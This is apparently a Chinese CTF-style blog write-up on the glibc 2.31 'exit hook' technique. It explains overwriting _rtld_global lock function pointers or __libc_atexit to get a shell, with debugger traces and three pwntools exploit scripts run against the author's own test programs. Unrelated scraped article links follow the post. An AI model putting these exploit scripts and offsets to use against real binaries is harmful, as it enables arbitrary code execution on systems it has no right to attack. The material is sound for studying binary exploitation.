exit hook
之前经常改 malloc_hook , realloc_hook,free_hook 为 one_gadget 来 get shell ,最近看到一种利用是改 exit hook(winmt师傅告诉我 其实没有exit hook,它是函数指针)。
改 exit_hook 有两种改法,一个是改为 one_gadget ,一个是改为 system ,再控制参数。
首先来看看 exit 这个函数里面究竟是如何调用的。(由于网上 libc版本多为 2.23 ,2.27我就用 2.31 的 libc 来做了实验)
进入 exit 之后我们发现它调用了 __run_exit_handlers ,我们单步进入 __run_exit_handlers。
1 0x7ffff7e09bc5 <exit+5> pop rax
2 0x7ffff7e09bc6 <exit+6> mov ecx, 1
3 0x7ffff7e09bcb <exit+11> mov edx, 1
4 0x7ffff7e09bd0 <exit+16> lea rsi, [rip + 0x1a1b41] <0x7ffff7fab718>
5 0x7ffff7e09bd7 <exit+23> sub rsp, 8
6 ► 0x7ffff7e09bdb <exit+27> call __run_exit_handlers <__run_exit_handlers>
7 rdi: 0x0
8 rsi: 0x7ffff7fab718 (__exit_funcs) —▸ 0x7ffff7fad980 (initial) ◂— 0x0
9 rdx: 0x1
10 rcx: 0x1
11
12 0x7ffff7e09be0 <on_exit> endbr64
13 0x7ffff7e09be4 <on_exit+4> push r12
14 0x7ffff7e09be6 <on_exit+6> push rbp
15 0x7ffff7e09be7 <on_exit+7> push rbx
16 0x7ffff7e09be8 <on_exit+8> test rdi, rdi
我们发现 __run_exit_handlers 又会调用 _dl_fini 函数,我们再单步进入。
1 0x7ffff7e1ea0a <__run_exit_handlers+218> mov rdi, qword ptr [rax + 0x20]
2 0x7ffff7e1ea0e <__run_exit_handlers+222> mov qword ptr [rax + 0x10], 0
3 0x7ffff7e1ea16 <__run_exit_handlers+230> mov esi, ebp
4 0x7ffff7e1ea18 <__run_exit_handlers+232> ror rdx, 0x11
5 0x7ffff7e1ea1c <__run_exit_handlers+236> xor rdx, qword ptr fs:[0x30]
6 ► 0x7ffff7e1ea25 <__run_exit_handlers+245> call rdx <_dl_fini>
7
8 0x7ffff7e1ea27 <__run_exit_handlers+247> jmp __run_exit_handlers+106 <__run_exit_handlers+106>
看一下 _dl_fini 的源码得知,会调用 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 函数,并且有一个 GL(dl_load_lock) 的传参。
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies. To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */ /* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 的定义:
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex) # define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0) # define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif
进入之后找到调用的两个关键函数 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive,并且在调用之前会把某个地址里的值赋给 rdi。
0x7ffff7fe0d7d <_dl_fini+45> lea rbx, [r12 + r12*8]
0x7ffff7fe0d81 <_dl_fini+49> lea rax, [rip + 0x1c2d8] <0x7ffff7ffd060>
0x7ffff7fe0d88 <_dl_fini+56> shl rbx, 4
0x7ffff7fe0d8c <_dl_fini+60> add rbx, rax
0x7ffff7fe0d8f <_dl_fini+63> jmp _dl_fini+106 <_dl_fini+106>
↓
► 0x7ffff7fe0dba <_dl_fini+106> lea rdi, [rip + 0x1cba7] <0x7ffff7ffd968>
0x7ffff7fe0dc1 <_dl_fini+113> call qword ptr [rip + 0x1d1a1] <rtld_lock_default_lock_recursive>
1 pwndbg> x/gx 0x7ffff7ffd968
2 0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
0x7ffff7fe0ec0 <_dl_fini+368> mov ecx, 1
0x7ffff7fe0ec5 <_dl_fini+373> call _dl_sort_maps <_dl_sort_maps> 0x7ffff7fe0eca <_dl_fini+378> lea rdi, [rip + 0x1ca97] <0x7ffff7ffd968>
0x7ffff7fe0ed1 <_dl_fini+385> call qword ptr [rip + 0x1d099] <rtld_lock_default_unlock_recursive>
那个地址其实是结构体 _rtld_global ,里的一部分 ,存在于_dl_load_lock 里,是 _rtld_global._dl_load_lock.mutex.__size的地址。
1 _dl_load_lock = {
2 mutex = {
3 __data = {
4 __lock = 0,
5 __count = 0,
6 __owner = 0,
7 __nusers = 0,
8 __kind = 1,
9 __spins = 0,
10 __elision = 0,
11 __list = {
12 __prev = 0x0,
13 __next = 0x0
14 }
15 },
16 __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>,
17 __align = 0
18 }
19 },
由此我们可以想到两个方法来 get shell 一个是改 rtld_lock_default_lock_recursive 或 rtld_lock_default_unlock_recursive 为 one_gadget , 另一个更通用就是改 rtld_lock_default_lock_recursive 和 rtld_lock_default_unlock_recursive 为 system ,并且把 _rtld_global._dl_load_lock.mutex的值改为 /bin/sh\x00。
找到他们相对于 _rtld_global 偏移
_dl_rtld_lock_recursive = 0x7ffff7fd0150 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7fd0160 <rtld_lock_default_unlock_recursive>,
0x7ffff7ffdf60 <_rtld_global+3840>: 0x0000000000000000 0x00007ffff7fd0150
0x7ffff7ffdf70 <_rtld_global+3856>: 0x00007ffff7fd0160 0x0000000000000000
0x7ffff7ffd968 <_rtld_global+2312>: 0x0000000000000000
我分别写了两个相应的任意地址写的漏洞程序来测试是否可行。
第一个改为one_gadget,我放了一个任意地址写。
exp: _rtld_global 与的 ld 的偏移不变,而 ld 与 libc 的偏移也不变,故我们把 libc 与 ld 都加载进去。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./exit_onegadget')
elf = ELF('./exit_onegadget')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160 onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget)) s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(one_gadget)) s.interactive()
'''
0xe6aee execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL 0xe6af1 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL 0xe6af4 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
第二个改为 system 和 /bin/sh\x00 我放了两个任意地址写。
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./exit_system')
elf = ELF('./exit_system')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
ld = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf']
#gdb.attach(s)
ld_base = libc_base + 0x1f4000
_rtld_global = ld_base + ld.sym['_rtld_global']
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _rtld_global + 0xf10
_dl_load_lock = _rtld_global + 0x908
#_dl_rtld_lock_recursive = 0x7ffff7fd0150
#_dl_rtld_unlock_recursive = 0x7ffff7fd0160 s.send(p64(_dl_rtld_lock_recursive))
s.send(p64(libc_base + libc.sym['system']))
s.send(p64(_dl_load_lock))
s.send(b'/bin/sh\x00') s.interactive()
============================================================================================================================
之后winmt师傅告诉我他发现了一个新的小trick,tql tql(我只是 winmt 的搬运工)
关键源码:
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ()); _exit (status);
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)
extern void __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
attribute_hidden __attribute__ ((__noreturn__));
由这两行他说可以改掉 __libc_atexit 来实现 get shell ,实际上经过测试确实可行。
优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。
缺点是无法加参数,能不能成功取决于栈结构是否匹配 one_gadget。
可以用 one_gadget 的那个程序来试试这种方法。
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./a')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6') printf_addr = int(s.recv(14),16)
libc_base = printf_addr - libc.sym['printf'] onegadget = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = libc_base + onegadget[0]
success('one_gadget=>' + hex(one_gadget)) s.send(p64(libc_base + 0x1ED608))
s.send(p64(one_gadget)) s.interactive()
提取码:1jsi
exit hook的更多相关文章
- ACE - ACE_Task源码剖析及线程池实现
原文出自http://www.cnblogs.com/binchen-china,禁止转载. 上篇提到用Reactor模式,利用I/O复用,获得Socket数据并且实现I/O层单线程并发,和dispa ...
- 基于TP框架的ThinkCMF,控制器display方法源码分析
昨天在写代码的时候,看见写了无数次的模版渲染方法:$this->display(),突然很想弄清楚它是如何实现的. 今天不忙,就分析了一下. class TestController exten ...
- JNI(5)The Invocation API
调用API允许软件提供商加载Java VM 到任意的本地应用中.供应商可以提供支持Java的应用程序而无需链接Java VM的代码. 概述 下面代码展示了通过调用API如何使用函数.这个例子中C++代 ...
- c++ 跨平台线程同步对象那些事儿——基于 ace
前言 ACE (Adaptive Communication Environment) 是早年间很火的一个 c++ 开源通讯框架,当时 c++ 的库比较少,以至于谈 c++ 网络通讯就绕不开 ACE, ...
- svn Error: post-commit hook failed (exit code 127) with output
Command: Commit Modified: C:\Users\xsdff\Desktop\project\index.html Sending content: C:\Users\xsdff\ ...
- SVN提交时报错:Commit blocked by pre-commit hook (exit code 1) with no output.
可能的原因: 提交代码的SVN命令中,Comment长度短了.参考:http://tortoisesvn.net/docs/nightly/TortoiseSVN_en/tsvn-howto-minl ...
- svn 提交报错post-commit hook failed (exit code 23) with output
svn 提交文件,hook同步更新报权限错误 排查后可能原因是被同步的服务器 selinux 已开启. 查看状态命令:/usr/sbin/sestatus -v #如果SELinux status参 ...
- svnserver hook python
在使用中可能会遇到的错误排除 :1.Error: svn: 解析"D:\www\test"出错,或svn: E020024: Error resolving case of 'D: ...
- 对于System.exit(0)和System.exit(1)的一般理解
public static void exit(int status) 终止当前正在运行的 Java 虚拟机.参数用作状态码:根据惯例,非 0 的状态码表示异常终止. 该方法调用 Runtime 类中 ...
随机推荐
- maven高级学习
上一篇<maven是什么>介绍了最初级的maven学习,今天就趁着周末的大好时光一起学习下maven的高级知识吧. 1.maven工程要导入jar包的坐标,就必须要考虑解决jar冲突 1) ...
- 设计模式学习笔记之看懂UML类图
什么是UML: UML(统一建模语言)是当今软件设计的标准图标式语言.对于一个软件系统而言,UML语言具有以下的功能:可视化功能.说明功能.建造功能和建文档功能. UML都包括什么类型的图: 使用案例 ...
- Python初探——sklearn库中数据预处理函数fit_transform()和transform()的区别
敲<Python机器学习及实践>上的code的时候,对于数据预处理中涉及到的fit_transform()函数和transform()函数之间的区别很模糊,查阅了很多资料,这里整理一下: ...
- PMP合同选择
合同选择
- ASP.NET VS 调试提示:指定的端口正在使用中,建议切换到xxx之外并大于1024的端口
问题描述 使用 Visual Studio 开发 ASP.NET 网站的过程中,突然提示端口被占用: 解决方式 在启动项目上右键→属性,切换到 Web .直接修改服务器栏目里面的端口号,解决!
- 手动上下eureka上面服务
手动下eureka curl -X PUT http://eureka.xxx.xxx.com/eureka/apps/VIDEO-API/111.111.111.111:test-api:0000/ ...
- java 数据类型:集合接口Collection之常用ArrayList;lambda表达式遍历;iterator遍历;forEachRemaining遍历;增强for遍历;removeIf批量操作集合元素(Predicate);
java.util.Collection接口 Java的集合主要由两个接口派生出来,一个是Collection一个是Map,本章只记录Collection常用集合 集合只能存储引用类型数据,不能存储基 ...
- 源码-DbUtil.java
package com.tetralogy.util; import com.alibaba.druid.pool.DruidDataSourceFactory; import javax.sql.D ...
- Solon 1.6.10 重要发布,现在有官网喽!
关于官网 千呼万唤始出来: https://solon.noear.org .整了一个月多了,总体样子有了...还得不断接着整! 关于 Solon Solon 是一个轻量级应用开发框架.支持 Web. ...
- SpringBoot启动报错:ould not be registered. A bean with that name has already been defined in file and overriding is disabled.
SpringBoot启动报错 ***************************APPLICATION FAILED TO START*************************** Des ...